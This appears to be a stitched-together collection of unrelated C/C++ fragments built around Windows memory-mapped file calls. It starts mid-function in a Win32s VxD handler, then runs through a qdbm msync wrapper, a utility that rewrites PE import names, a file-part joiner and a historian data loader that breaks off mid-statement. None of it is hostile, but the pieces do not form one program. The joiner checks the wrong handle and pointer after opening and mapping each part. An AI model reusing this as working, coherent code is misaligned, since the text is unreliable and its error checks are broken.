module->pathName); else if (module->relocDelta != 0) { IMAGE_DATA_DIRECTORY *dir = nt_header->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_BASERELOC; IMAGE_BASE_RELOCATION *r = (IMAGE_BASE_RELOCATION *) (dir->Size? module->baseAddr + dir->VirtualAddress : 0); TRACE("MapModule: Reloc delta %08lx\n", module->relocDelta); while (r && r->VirtualAddress) { LPBYTE page = module->baseAddr + r->VirtualAddress; WORD *TypeOffset = (WORD *)(r + 1); int count = (r->SizeOfBlock - sizeof(*r)) / sizeof(*TypeOffset); TRACE("MapModule: %d relocations for page %08lx\n", count, (DWORD)page); for(i = 0; i < count; i++) { int offset = TypeOffset[i] & 0xFFF; int type = TypeOffset[i] >> 12; switch(type) { case IMAGE_REL_BASED_ABSOLUTE: break; case IMAGE_REL_BASED_HIGH: *(WORD *)(page+offset) += HIWORD(module->relocDelta); break; case IMAGE_REL_BASED_LOW: *(WORD *)(page+offset) += LOWORD(module->relocDelta); break; case IMAGE_REL_BASED_HIGHLOW: *(DWORD*)(page+offset) += module->relocDelta; break; default: WARN("MapModule: Unsupported fixup type\n"); break; } } r = (IMAGE_BASE_RELOCATION *)((LPBYTE)r + r->SizeOfBlock); } } context->Eax = 0; RESET_CFLAG(context); } break; case 0x0005: /* UnMap Module */ /* * Input: EDX: Flat address of module image * * Output: EAX: 1 if OK */ TRACE("UnMapModule: %lx\n", (DWORD)W32S_APP2WINE(context->Edx)); /* As we didn't map anything, there's nothing to unmap ... */ context->Eax = 1; break; case 0x0006: /* VirtualAlloc */ /* * Input: ECX: Current Process * * EDX: Flat address of arguments on stack * * DWORD *retv [out] Flat base address of allocated region * LPVOID base [in] Flat address of region to reserve/commit * DWORD size [in] Size of region * DWORD type [in] Type of allocation * DWORD prot [in] Type of access protection * * Output: EAX: NtStatus */ { DWORD *stack = (DWORD *)W32S_APP2WINE(context->Edx); DWORD *retv = (DWORD *)W32S_APP2WINE(stack[0]); LPVOID base = (LPVOID) W32S_APP2WINE(stack[1]); DWORD size = stack[2]; DWORD type = stack[3]; DWORD prot = stack[4]; DWORD result; TRACE("VirtualAlloc(%lx, %lx, %lx, %lx, %lx)\n", (DWORD)retv, (DWORD)base, size, type, prot); if (type & 0x80000000) { WARN("VirtualAlloc: strange type %lx\n", type); type &= 0x7fffffff; } if (!base && (type & MEM_COMMIT) && prot == PAGE_READONLY) { WARN("VirtualAlloc: NLS hack, allowing write access!\n"); prot = PAGE_READWRITE; } result = (DWORD)VirtualAlloc(base, size, type, prot); if (W32S_WINE2APP(result)) *retv = W32S_WINE2APP(result), context->Eax = STATUS_SUCCESS; else *retv = 0, context->Eax = STATUS_NO_MEMORY; /* FIXME */ } break; case 0x0007: /* VirtualFree */ /* * Input: ECX: Current Process * * EDX: Flat address of arguments on stack * * DWORD *retv [out] TRUE if success, FALSE if failure * LPVOID base [in] Flat address of region * DWORD size [in] Size of region * DWORD type [in] Type of operation * * Output: EAX: NtStatus */ { DWORD *stack = (DWORD *)W32S_APP2WINE(context->Edx); DWORD *retv = (DWORD *)W32S_APP2WINE(stack[0]); LPVOID base = (LPVOID) W32S_APP2WINE(stack[1]); DWORD size = stack[2]; DWORD type = stack[3]; DWORD result; TRACE("VirtualFree(%lx, %lx, %lx, %lx)\n", (DWORD)retv, (DWORD)base, size, type); result = VirtualFree(base, size, type); if (result) *retv = TRUE, context->Eax = STATUS_SUCCESS; else *retv = FALSE, context->Eax = STATUS_NO_MEMORY; /* FIXME */ } break; case 0x0008: /* VirtualProtect */ /* * Input: ECX: Current Process * * EDX: Flat address of arguments on stack * * DWORD *retv [out] TRUE if success, FALSE if failure * LPVOID base [in] Flat address of region * DWORD size [in] Size of region * DWORD new_prot [in] Desired access protection * DWORD *old_prot [out] Previous access protection * * Output: EAX: NtStatus */ { DWORD *stack = (DWORD *)W32S_APP2WINE(context->Edx); DWORD *retv = (DWORD *)W32S_APP2WINE(stack[0]); LPVOID base = (LPVOID) W32S_APP2WINE(stack[1]); DWORD size = stack[2]; DWORD new_prot = stack[3]; DWORD *old_prot = (DWORD *)W32S_APP2WINE(stack[4]); DWORD result; TRACE("VirtualProtect(%lx, %lx, %lx, %lx, %lx)\n", (DWORD)retv, (DWORD)base, size, new_prot, (DWORD)old_prot); result = VirtualProtect(base, size, new_prot, old_prot); if (result) *retv = TRUE, context->Eax = STATUS_SUCCESS; else *retv = FALSE, context->Eax = STATUS_NO_MEMORY; /* FIXME */ } break; case 0x0009: /* VirtualQuery */ /* * Input: ECX: Current Process * * EDX: Flat address of arguments on stack * * DWORD *retv [out] Nr. bytes returned * LPVOID base [in] Flat address of region * LPMEMORY_BASIC_INFORMATION info [out] Info buffer * DWORD len [in] Size of buffer * * Output: EAX: NtStatus */ { DWORD *stack = (DWORD *)W32S_APP2WINE(context->Edx); DWORD *retv = (DWORD *)W32S_APP2WINE(stack[0]); LPVOID base = (LPVOID) W32S_APP2WINE(stack[1]); LPMEMORY_BASIC_INFORMATION info = (LPMEMORY_BASIC_INFORMATION)W32S_APP2WINE(stack[2]); DWORD len = stack[3]; DWORD result; TRACE("VirtualQuery(%lx, %lx, %lx, %lx)\n", (DWORD)retv, (DWORD)base, (DWORD)info, len); result = VirtualQuery(base, info, len); *retv = result; context->Eax = STATUS_SUCCESS; } break; case 0x000A: /* SetVirtMemProcess */ /* * Input: ECX: Process Handle * * EDX: Flat address of region * * Output: EAX: NtStatus */ TRACE("[000a] ECX=%lx EDX=%lx\n", context->Ecx, context->Edx); /* FIXME */ context->Eax = STATUS_SUCCESS; break; case 0x000B: /* ??? some kind of cleanup */ /* * Input: ECX: Process Handle * * Output: EAX: NtStatus */ TRACE("[000b] ECX=%lx\n", context->Ecx); /* FIXME */ context->Eax = STATUS_SUCCESS; break; case 0x000C: /* Set Debug Flags */ /* * Input: EDX: Debug Flags * * Output: EDX: Previous Debug Flags */ FIXME("[000c] EDX=%lx\n", context->Edx); /* FIXME */ context->Edx = 0; break; case 0x000D: /* NtCreateSection */ /* * Input: EDX: Flat address of arguments on stack * * HANDLE32 *retv [out] Handle of Section created * DWORD flags1 [in] (?? unknown ??) * DWORD atom [in] Name of Section to create * LARGE_INTEGER *size [in] Size of Section * DWORD protect [in] Access protection * DWORD flags2 [in] (?? unknown ??) * HFILE32 hFile [in] Handle of file to map * DWORD psp [in] (Win32s: PSP that hFile belongs to) * * Output: EAX: NtStatus */ { DWORD *stack = (DWORD *) W32S_APP2WINE(context->Edx); HANDLE *retv = (HANDLE *)W32S_APP2WINE(stack[0]); DWORD flags1 = stack[1]; DWORD atom = stack[2]; LARGE_INTEGER *size = (LARGE_INTEGER *)W32S_APP2WINE(stack[3]); DWORD protect = stack[4]; DWORD flags2 = stack[5]; HANDLE hFile = DosFileHandleToWin32Handle(stack[6]); DWORD psp = stack[7]; HANDLE result = INVALID_HANDLE_VALUE; char name[128]; TRACE("NtCreateSection(%lx, %lx, %lx, %lx, %lx, %lx, %lx, %lx)\n", (DWORD)retv, flags1, atom, (DWORD)size, protect, flags2, (DWORD)hFile, psp); if (!atom || GlobalGetAtomNameA(atom, name, sizeof(name))) { TRACE("NtCreateSection: name=%s\n", atom? name : NULL); result = CreateFileMappingA(hFile, NULL, protect, size? size->s.HighPart : 0, size? size->s.LowPart : 0, atom? name : NULL); } if (result == INVALID_HANDLE_VALUE) WARN("NtCreateSection: failed!\n"); else TRACE("NtCreateSection: returned %lx\n", (DWORD)result); if (result != INVALID_HANDLE_VALUE) *retv = result, context->Eax = STATUS_SUCCESS; else *retv = result, context->Eax = STATUS_NO_MEMORY; /* FIXME */ } break; case 0x000E: /* NtOpenSection */ /* * Input: EDX: Flat address of arguments on stack * * HANDLE32 *retv [out] Handle of Section opened * DWORD protect [in] Access protection * DWORD atom [in] Name of Section to create * * Output: EAX: NtStatus */ { DWORD *stack = (DWORD *)W32S_APP2WINE(context->Edx); HANDLE *retv = (HANDLE *)W32S_APP2WINE(stack[0]); DWORD protect = stack[1]; DWORD atom = stack[2]; HANDLE result = INVALID_HANDLE_VALUE; char name[128]; TRACE("NtOpenSection(%lx, %lx, %lx)\n", (DWORD)retv, protect, atom); if (atom && GlobalGetAtomNameA(atom, name, sizeof(name))) { TRACE("NtOpenSection: name=%s\n", name); result = OpenFileMappingA(protect, FALSE, name); } if (result == INVALID_HANDLE_VALUE) WARN("NtOpenSection: failed!\n"); else TRACE("NtOpenSection: returned %lx\n", (DWORD)result); if (result != INVALID_HANDLE_VALUE) *retv = result, context->Eax = STATUS_SUCCESS; else *retv = result, context->Eax = STATUS_NO_MEMORY; /* FIXME */ } break; case 0x000F: /* NtCloseSection */ /* * Input: EDX: Flat address of arguments on stack * * HANDLE32 handle [in] Handle of Section to close * DWORD *id [out] Unique ID (?? unclear ??) * * Output: EAX: NtStatus */ { DWORD *stack = (DWORD *)W32S_APP2WINE(context->Edx); HANDLE handle = stack[0]; DWORD *id = (DWORD *)W32S_APP2WINE(stack[1]); TRACE("NtCloseSection(%lx, %lx)\n", (DWORD)handle, (DWORD)id); CloseHandle(handle); if (id) *id = 0; /* FIXME */ context->Eax = STATUS_SUCCESS; } break; case 0x0010: /* NtDupSection */ /* * Input: EDX: Flat address of arguments on stack * * HANDLE32 handle [in] Handle of Section to duplicate * * Output: EAX: NtStatus */ { DWORD *stack = (DWORD *)W32S_APP2WINE(context->Edx); HANDLE handle = stack[0]; HANDLE new_handle; TRACE("NtDupSection(%lx)\n", (DWORD)handle); DuplicateHandle( GetCurrentProcess(), handle, GetCurrentProcess(), &new_handle, 0, FALSE, DUPLICATE_SAME_ACCESS ); context->Eax = STATUS_SUCCESS; } break; case 0x0011: /* NtMapViewOfSection */ /* * Input: EDX: Flat address of arguments on stack * * HANDLE32 SectionHandle [in] Section to be mapped * DWORD ProcessHandle [in] Process to be mapped into * DWORD * BaseAddress [in/out] Address to be mapped at * DWORD ZeroBits [in] (?? unclear ??) * DWORD CommitSize [in] (?? unclear ??) * LARGE_INTEGER *SectionOffset [in] Offset within section * DWORD * ViewSize [in] Size of view * DWORD InheritDisposition [in] (?? unclear ??) * DWORD AllocationType [in] (?? unclear ??) * DWORD Protect [in] Access protection * * Output: EAX: NtStatus */ { DWORD * stack = (DWORD *)W32S_APP2WINE(context->Edx); HANDLE SectionHandle = stack[0]; DWORD ProcessHandle = stack[1]; /* ignored */ DWORD * BaseAddress = (DWORD *)W32S_APP2WINE(stack[2]); DWORD ZeroBits = stack[3]; DWORD CommitSize = stack[4]; LARGE_INTEGER *SectionOffset = (LARGE_INTEGER *)W32S_APP2WINE(stack[5]); DWORD * ViewSize = (DWORD *)W32S_APP2WINE(stack[6]); DWORD InheritDisposition = stack[7]; DWORD AllocationType = stack[8]; DWORD Protect = stack[9]; LPBYTE address = (LPBYTE)(BaseAddress? W32S_APP2WINE(*BaseAddress) : 0); DWORD access = 0, result; switch (Protect & ~(PAGE_GUARD|PAGE_NOCACHE)) { case PAGE_READONLY: access = FILE_MAP_READ; break; case PAGE_READWRITE: access = FILE_MAP_WRITE; break; case PAGE_WRITECOPY: access = FILE_MAP_COPY; break; case PAGE_EXECUTE_READ: access = FILE_MAP_READ; break; case PAGE_EXECUTE_READWRITE: access = FILE_MAP_WRITE; break; case PAGE_EXECUTE_WRITECOPY: access = FILE_MAP_COPY; break; } TRACE("NtMapViewOfSection" "(%lx, %lx, %lx, %lx, %lx, %lx, %lx, %lx, %lx, %lx)\n", (DWORD)SectionHandle, ProcessHandle, (DWORD)BaseAddress, ZeroBits, CommitSize, (DWORD)SectionOffset, (DWORD)ViewSize, InheritDisposition, AllocationType, Protect); TRACE("NtMapViewOfSection: " "base=%lx, offset=%lx, size=%lx, access=%lx\n", (DWORD)address, SectionOffset? SectionOffset->s.LowPart : 0, ViewSize? *ViewSize : 0, access); result = (DWORD)MapViewOfFileEx(SectionHandle, access, SectionOffset? SectionOffset->s.HighPart : 0, SectionOffset? SectionOffset->s.LowPart : 0, ViewSize? *ViewSize : 0, address); TRACE("NtMapViewOfSection: result=%lx\n", result); if (W32S_WINE2APP(result)) { if (BaseAddress) *BaseAddress = W32S_WINE2APP(result); context->Eax = STATUS_SUCCESS; } else context->Eax = STATUS_NO_MEMORY; /* FIXME */ } break; case 0x0012: /* NtUnmapViewOfSection */ /* * Input: EDX: Flat address of arguments on stack * * DWORD ProcessHandle [in] Process (defining address space) * LPBYTE BaseAddress [in] Base address of view to be unmapped * * Output: EAX: NtStatus */ { DWORD *stack = (DWORD *)W32S_APP2WINE(context->Edx); DWORD ProcessHandle = stack[0]; /* ignored */ LPBYTE BaseAddress = (LPBYTE)W32S_APP2WINE(stack[1]); TRACE("NtUnmapViewOfSection(%lx, %lx)\n", ProcessHandle, (DWORD)BaseAddress); UnmapViewOfFile(BaseAddress); context->Eax = STATUS_SUCCESS; } break; case 0x0013: /* NtFlushVirtualMemory */ /* * Input: EDX: Flat address of arguments on stack * * DWORD ProcessHandle [in] Process (defining address space) * LPBYTE *BaseAddress [in?] Base address of range to be flushed * DWORD *ViewSize [in?] Number of bytes to be flushed * DWORD *unknown [???] (?? unknown ??) * * Output: EAX: NtStatus */ { DWORD *stack = (DWORD *)W32S_APP2WINE(context->Edx); DWORD ProcessHandle = stack[0]; /* ignored */ DWORD *BaseAddress = (DWORD *)W32S_APP2WINE(stack[1]); DWORD *ViewSize = (DWORD *)W32S_APP2WINE(stack[2]); DWORD *unknown = (DWORD *)W32S_APP2WINE(stack[3]); LPBYTE address = (LPBYTE)(BaseAddress? W32S_APP2WINE(*BaseAddress) : 0); DWORD size = ViewSize? *ViewSize : 0; TRACE("NtFlushVirtualMemory(%lx, %lx, %lx, %lx)\n", ProcessHandle, (DWORD)BaseAddress, (DWORD)ViewSize, (DWORD)unknown); TRACE("NtFlushVirtualMemory: base=%lx, size=%lx\n", (DWORD)address, size); FlushViewOfFile(address, size); context->Eax = STATUS_SUCCESS; } break; case 0x0014: /* Get/Set Debug Registers */ /* * Input: ECX: 0 if Get, 1 if Set * * EDX: Get: Flat address of buffer to receive values of * debug registers DR0 .. DR7 * Set: Flat address of buffer containing values of * debug registers DR0 .. DR7 to be set * Output: None */ FIXME("[0014] ECX=%lx EDX=%lx\n", context->Ecx, context->Edx); /* FIXME */ break; case 0x0015: /* Set Coprocessor Emulation Flag */ /* * Input: EDX: 0 to deactivate, 1 to activate coprocessor emulation * * Output: None */ TRACE("[0015] EDX=%lx\n", context->Edx); /* We don't care, as we always have a coprocessor anyway */ break; case 0x0016: /* Init Win32S VxD PSP */ /* * If called to query required PSP size: * * Input: EBX: 0 * Output: EDX: Required size of Win32s VxD PSP * * If called to initialize allocated PSP: * * Input: EBX: LoWord: Selector of Win32s VxD PSP * HiWord: Paragraph of Win32s VxD PSP (DOSMEM) * Output: None */ if (context->Ebx == 0) context->Edx = 0x80; else { PDB16 *psp = MapSL( MAKESEGPTR( BX_reg(context), 0 )); psp->nbFiles = 32; psp->fileHandlesPtr = MAKELONG(HIWORD(context->Ebx), 0x5c); memset((LPBYTE)psp + 0x5c, '\xFF', 32); } break; case 0x0017: /* Set Break Point */ /* * Input: EBX: Offset of Break Point * CX: Selector of Break Point * * Output: None */ FIXME("[0017] EBX=%lx CX=%x\n", context->Ebx, CX_reg(context)); /* FIXME */ break; case 0x0018: /* VirtualLock */ /* * Input: ECX: Current Process * * EDX: Flat address of arguments on stack * * DWORD *retv [out] TRUE if success, FALSE if failure * LPVOID base [in] Flat address of range to lock * DWORD size [in] Size of range * * Output: EAX: NtStatus */ { DWORD *stack = (DWORD *)W32S_APP2WINE(context->Edx); DWORD *retv = (DWORD *)W32S_APP2WINE(stack[0]); LPVOID base = (LPVOID) W32S_APP2WINE(stack[1]); DWORD size = stack[2]; DWORD result; TRACE("VirtualLock(%lx, %lx, %lx)\n", (DWORD)retv, (DWORD)base, size); result = VirtualLock(base, size); if (result) *retv = TRUE, context->Eax = STATUS_SUCCESS; else *retv = FALSE, context->Eax = STATUS_NO_MEMORY; /* FIXME */ } break; case 0x0019: /* VirtualUnlock */ /* * Input: ECX: Current Process * * EDX: Flat address of arguments on stack * * DWORD *retv [out] TRUE if success, FALSE if failure * LPVOID base [in] Flat address of range to unlock * DWORD size [in] Size of range * * Output: EAX: NtStatus */ { DWORD *stack = (DWORD *)W32S_APP2WINE(context->Edx); DWORD *retv = (DWORD *)W32S_APP2WINE(stack[0]); LPVOID base = (LPVOID) W32S_APP2WINE(stack[1]); DWORD size = stack[2]; DWORD result; TRACE("VirtualUnlock(%lx, %lx, %lx)\n", (DWORD)retv, (DWORD)base, size); result = VirtualUnlock(base, size); if (result) *retv = TRUE, context->Eax = STATUS_SUCCESS; else *retv = FALSE, context->Eax = STATUS_NO_MEMORY; /* FIXME */ } break; case 0x001A: /* KGetSystemInfo */ /* * Input: None * * Output: ECX: Start of sparse memory arena * EDX: End of sparse memory arena */ TRACE("KGetSystemInfo()\n"); /* * Note: Win32s reserves 0GB - 2GB for Win 3.1 and uses 2GB - 4GB as * sparse memory arena. We do it the other way around, since * we have to reserve 3GB - 4GB for Linux, and thus use * 0GB - 3GB as sparse memory arena. * * FIXME: What about other OSes ? */ context->Ecx = W32S_WINE2APP(0x00000000); context->Edx = W32S_WINE2APP(0xbfffffff); break; case 0x001B: /* KGlobalMemStat */ /* * Input: ESI: Flat address of buffer to receive memory info * * Output: None */ { struct Win32sMemoryInfo { DWORD DIPhys_Count; /* Total physical pages */ DWORD DIFree_Count; /* Free physical pages */ DWORD DILin_Total_Count; /* Total virtual pages (private arena) */ DWORD DILin_Total_Free; /* Free virtual pages (private arena) */ DWORD SparseTotal; /* Total size of sparse arena (bytes ?) */ DWORD SparseFree; /* Free size of sparse arena (bytes ?) */ }; struct Win32sMemoryInfo *info = (struct Win32sMemoryInfo *)W32S_APP2WINE(context->Esi); FIXME("KGlobalMemStat(%lx)\n", (DWORD)info); /* FIXME */ } break; case 0x001C: /* Enable/Disable Exceptions */ /* * Input: ECX: 0 to disable, 1 to enable exception handling * * Output: None */ TRACE("[001c] ECX=%lx\n", context->Ecx); /* FIXME */ break; case 0x001D: /* VirtualAlloc called from 16-bit code */ /* * Input: EDX: Segmented address of arguments on stack * * LPVOID base [in] Flat address of region to reserve/commit * DWORD size [in] Size of region * DWORD type [in] Type of allocation * DWORD prot [in] Type of access protection * * Output: EAX: NtStatus * EDX: Flat base address of allocated region */ { DWORD *stack = MapSL( MAKESEGPTR( LOWORD(context->Edx), HIWORD(context->Edx) )); LPVOID base = (LPVOID)W32S_APP2WINE(stack[0]); DWORD size = stack[1]; DWORD type = stack[2]; DWORD prot = stack[3]; DWORD result; TRACE("VirtualAlloc16(%lx, %lx, %lx, %lx)\n", (DWORD)base, size, type, prot); if (type & 0x80000000) { WARN("VirtualAlloc16: strange type %lx\n", type); type &= 0x7fffffff; } result = (DWORD)VirtualAlloc(base, size, type, prot); if (W32S_WINE2APP(result)) context->Edx = W32S_WINE2APP(result), context->Eax = STATUS_SUCCESS; else context->Edx = 0, context->Eax = STATUS_NO_MEMORY; /* FIXME */ TRACE("VirtualAlloc16: returning base %lx\n", context->Edx); } break; case 0x001E: /* VirtualFree called from 16-bit code */ /* * Input: EDX: Segmented address of arguments on stack * * LPVOID base [in] Flat address of region * DWORD size [in] Size of region * DWORD type [in] Type of operation * * Output: EAX: NtStatus * EDX: TRUE if success, FALSE if failure */ { DWORD *stack = MapSL( MAKESEGPTR( LOWORD(context->Edx), HIWORD(context->Edx) )); LPVOID base = (LPVOID)W32S_APP2WINE(stack[0]); DWORD size = stack[1]; DWORD type = stack[2]; DWORD result; TRACE("VirtualFree16(%lx, %lx, %lx)\n", (DWORD)base, size, type); result = VirtualFree(base, size, type); if (result) context->Edx = TRUE, context->Eax = STATUS_SUCCESS; else context->Edx = FALSE, context->Eax = STATUS_NO_MEMORY; /* FIXME */ } break; case 0x001F: /* FWorkingSetSize */ /* * Input: EDX: 0 if Get, 1 if Set * * ECX: Get: Buffer to receive Working Set Size * Set: Buffer containing Working Set Size * * Output: NtStatus */ { DWORD *ptr = (DWORD *)W32S_APP2WINE(context->Ecx); BOOL set = context->Edx; TRACE("FWorkingSetSize(%lx, %lx)\n", (DWORD)ptr, (DWORD)set); if (set) /* We do it differently ... */; else *ptr = 0x100; context->Eax = STATUS_SUCCESS; } break; default: VXD_BARF( context, "W32S" ); }
int _qdbm_msync(const void *start, size_t length, int flags) { if(!FlushViewOfFile(start, length)) return -1; return 0; }
void ConvertImports (char * File) { PIMAGE_IMPORT_DESCRIPTOR ImageImportDescr,DataImportDescr; HANDLE mFile; ULONG ImportSize, ImportName, PreferredImportBase, ImportNameLen, DataImportBase; BOOL BoolError; CHAR *pchDot; LPVOID FileBase=NULL; int iNewImp; ULONG ulBinaryType ; PIMAGE_NT_HEADERS NtHeaders; ULONG CheckSum; ULONG HeaderSum; // Get file attributes // OldAttributes = GetFileAttributes(File); if (OldAttributes != FILE_ATTRIBUTE_NORMAL) { BoolError = SetFileAttributes(File, FILE_ATTRIBUTE_NORMAL); } ulBinaryType = GetImageType ( File ) ; // // Open file // hFile=CreateFile(File, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, (HANDLE)NULL); if (hFile==INVALID_HANDLE_VALUE) { #ifdef DEBUG Error = GetLastError(); printf("Error in creating file %lx\n",Error); #endif DoError (FAIL_OPEN, File); return; } // // tomzak // if ( ulBinaryType != NT_CODE ) { DoError (NOT_NT_IMAGE, File); // // Close file handle // BoolError = CloseHandle(hFile); if (!BoolError) { DoError(FAIL_CLOSE,NULL); } return ; } // Create the file map // mFile=CreateFileMapping(hFile,NULL,PAGE_READWRITE,0L,0L,NULL); if (!mFile) { #ifdef DEBUG Error = GetLastError(); printf("Can't make map object %lx\n",Error); #endif DoError(CREATE_MAP,NULL); return; } // Map a view of the file as data // FileBase=MapViewOfFile(mFile, FILE_MAP_READ | FILE_MAP_WRITE, 0L, 0L, 0L); if (!FileBase) { DoError(VIEW_FILE_MAP,NULL); } // Get the address of the import descriptor as if the file was mapped // as data (the FALSE parameter below is the value of the parameter // MappedAsImage). DataImportDescr = (PIMAGE_IMPORT_DESCRIPTOR)RtlImageDirectoryEntryToData( FileBase, FALSE, IMAGE_DIRECTORY_ENTRY_IMPORT, &ImportSize); // Get the address of the import descriptor as if the file was mapped // as an image (MappedAsImage = TRUE). ImageImportDescr = (PIMAGE_IMPORT_DESCRIPTOR)RtlImageDirectoryEntryToData( FileBase, TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT, &ImportSize); // The preferred import base offset is ImageImportDescr - FileBase // (RVA) // PreferredImportBase = (ULONG)ImageImportDescr-(ULONG)FileBase; // Make sure it is positive; it's a ULONG. // if (PreferredImportBase> MAX_ULONG) { PreferredImportBase = (-(INT)PreferredImportBase); } if (DataImportDescr) { printf("%s imports:\n",File); // Keep the import base around // DataImportBase = (ULONG)DataImportDescr; // Go through the import names and check to see if the name // should be changed by comparing it the the "new import" list // while (DataImportDescr->Name && DataImportDescr->FirstThunk) { // Actual import name address is // (Name - PreferredImportBase) + // ActualImportBase(added below). // // RVA - RVA // ImportName = (DataImportDescr->Name - PreferredImportBase); // Make sure it's positive // if (ImportName > MAX_ULONG) { ImportName = (-(INT)ImportName); } // Add the actual import base // ImportName += DataImportBase; if ( (pchDot = strchr((CHAR *)ImportName, '.')) == NULL ) { ImportNameLen = strlen((CHAR *)ImportName); } else { ImportNameLen = abs((int)((ULONG)pchDot - ImportName)); } printf("\t%-15s",ImportName); for (iNewImp = 0; iNewImp < cNewImports; iNewImp++) { // New imports must match in length and in all chars // except for the first -- i.e. looking for "*mport" to // match "import" // if ((ImportNameLen == strlen(apszNewImports[iNewImp])) && (!_strnicmp((CHAR *)ImportName+1, apszNewImports[iNewImp]+1, ImportNameLen-1))) { strncpy((CHAR *)ImportName, apszNewImports[iNewImp],1); BoolError = FlushViewOfFile((PVOID)ImportName, 1); printf(" --> changed to %s",ImportName); break; } } printf("\n"); // Go to next import descriptor // ++DataImportDescr; } } else { printf("%s has no imports\n",File); printf("Done\n\n\n"); } // // If the file is being update, then recompute the checksum (see sdktools\bind\bind.c) // NtHeaders = RtlImageNtHeader(FileBase); NtHeaders->OptionalHeader.CheckSum = 0; CheckSumMappedFile( FileBase, GetFileSize(hFile, NULL), &HeaderSum, &CheckSum ); NtHeaders->OptionalHeader.CheckSum = CheckSum; // Unmap view of file to save changes // BoolError = UnmapViewOfFile(FileBase); if (!BoolError) { DoError(FAIL_UNMAP,NULL); } // Close handle to map-object // BoolError = CloseHandle(mFile); if (!BoolError) { DoError(FAIL_CLOSE,NULL); } // Close file handle // BoolError = CloseHandle(hFile); if (!BoolError) { DoError(FAIL_CLOSE,NULL); } // Reset the file attributes // BoolError = SetFileAttributes(File, OldAttributes); if (!BoolError) { DoError(FAIL_RESETATTRIBUTES,File); } } /* ConvertImports () */
DWORD CFD::FDFileConnect ( PFILE_ITEM_INFO pItem ) { DeleteFile ( pItem->szFileName ) ; // 打开目标文件 HANDLE hFile = CreateFile (pItem->szFileName, GENERIC_READ|GENERIC_WRITE, \ FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL ) ; if ( hFile == INVALID_HANDLE_VALUE ) return GetLastError() ; // 创建文件内存映射内核对象 HANDLE hMapFile = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,pItem->dwLowFileSize,NULL) ; if ( hMapFile == NULL ) { CloseHandle ( hFile ) ; return GetLastError() ; } CString TempStr ; DWORD dwCurAddr = 0, dwCurPart = 0 ; LPVOID lpMapAddr = 0 ; // 分块循环映射文件 for ( UINT i = 1; i <= pItem->dwPartNum; i++ ) { dwCurPart = pItem->dwLowFileSize - dwCurAddr ; if ( dwCurPart > pItem->dwPartSize ) dwCurPart = pItem->dwPartSize ; lpMapAddr = MapViewOfFile ( hMapFile, FILE_MAP_WRITE, 0, dwCurAddr, dwCurPart ) ; if ( lpMapAddr == NULL ) { CloseHandle ( hMapFile ) ; CloseHandle ( hFile ) ; return GetLastError() ; } dwCurAddr += dwCurPart ; TempStr.Format ( "%s.PART_%d", pItem->szFileName, i ) ; // 打开子文件,并进行内存映射 HANDLE hNewFile = CreateFile ( TempStr,GENERIC_READ, \ FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL ) ; if ( hFile == INVALID_HANDLE_VALUE ) { UnmapViewOfFile ( lpMapAddr ) ; CloseHandle ( hMapFile ) ; CloseHandle ( hFile ) ; return GetLastError() ; } HANDLE hNewMapFile = CreateFileMapping (hNewFile,NULL,PAGE_READONLY,0,0,NULL ) ; if ( hNewMapFile == NULL ) { UnmapViewOfFile ( lpMapAddr ) ; CloseHandle ( hMapFile ) ; CloseHandle ( hFile ) ; CloseHandle ( hNewFile ) ; return GetLastError() ; } LPVOID lpNewMapAddr = MapViewOfFile ( hNewMapFile, FILE_MAP_READ, 0, 0, 0 ) ; if ( lpMapAddr == NULL ) { UnmapViewOfFile ( lpMapAddr ) ; CloseHandle ( hMapFile ) ; CloseHandle ( hFile ) ; CloseHandle ( hNewMapFile ) ; CloseHandle ( hNewFile ) ; return GetLastError() ; } memcpy ( lpMapAddr, lpNewMapAddr, dwCurPart ) ; FlushViewOfFile ( lpMapAddr, dwCurPart ) ; UnmapViewOfFile ( lpMapAddr ) ; UnmapViewOfFile ( lpNewMapAddr ) ; CloseHandle ( hNewMapFile ) ; CloseHandle ( hNewFile ) ; } CloseHandle ( hMapFile ) ; CloseHandle ( hFile ) ; // 删除所有子文件 this->DeleteAllPartFiles ( pItem->szFileName ) ; return 0 ; }
flag CEvBlk::Open(CCatItem* CatItem) { if (CatItem==NULL) return false; pCatItem = CatItem; if (!pHistory->pNxtBlkFile) return false; InitializeCriticalSection(&Lock); pInfo = pHistory->pNxtBlkFile; pHistory->pNxtBlkFile = NULL; const BOOL IsNew = (memcmp((void*)pInfo->pBlkMap, (void*)NewBlkKey, strlen(NewBlkKey)) == 0); pEvHead = (pHD_EvBlkHead)pInfo->pBlkMap; lTtlLen = sizeof(HD_EvBlkHead); LockEvBlk(); if (!IsNew) {//old block... //setup all flags pointers etc so that next event will be added to end of the file... if (pEvHead->iVerNo < 3) {//ERROR!!! close block... LogError("History", 0, "Historian version number mismatch in %s", (const char*)(pInfo->sFilename)); FreeEvBlk(); DeleteCriticalSection(&Lock); pCatItem = NULL; return false; } pPrevTS = NULL; pFirstTS = NULL; lTtlLen = sizeof(HD_EvBlkHead); if (pEvHead->iTimeSliceCnt>0) { pFirstTS = (pHD_TimeSliceHead)&pInfo->pBlkMap[lTtlLen]; pPrevTS = pFirstTS; for (long i=0; i<pEvHead->iTimeSliceCnt; i++) { pTS = (pHD_TimeSliceHead)&pInfo->pBlkMap[lTtlLen]; lTtlLen += sizeof(HD_TimeSliceHead); lTtlLen += pTS->iLen; if (i == pEvHead->iTimeSliceCnt-1) pPrevTS = pTS; if (lTtlLen>pInfo->dwFileAllocLen) {//ERROR!!! close block... LogError("History", 0, "Corrupt data file, delete historian data files!"); FreeEvBlk(); DeleteCriticalSection(&Lock); pCatItem = NULL; return false; } } } pTS = NULL; } else {//new block... pEvHead->bFinished = 0; pEvHead->bReducedSize = 0; pEvHead->dStartTime = 0.0; pEvHead->dLastTime = 0.0; pEvHead->iTimeSliceCnt = 0; pEvHead->iCatNo = pCatItem->CatNo(); pEvHead->iVerNo = HstVerNo; pEvHead->iJmpCount = 0; for (int i=0; i<MaxJmps; i++) { pEvHead->JmpPos[i] = 0; pEvHead->JmpTimes[i] = 0.0; } memset(pEvHead->sSpare, 0, 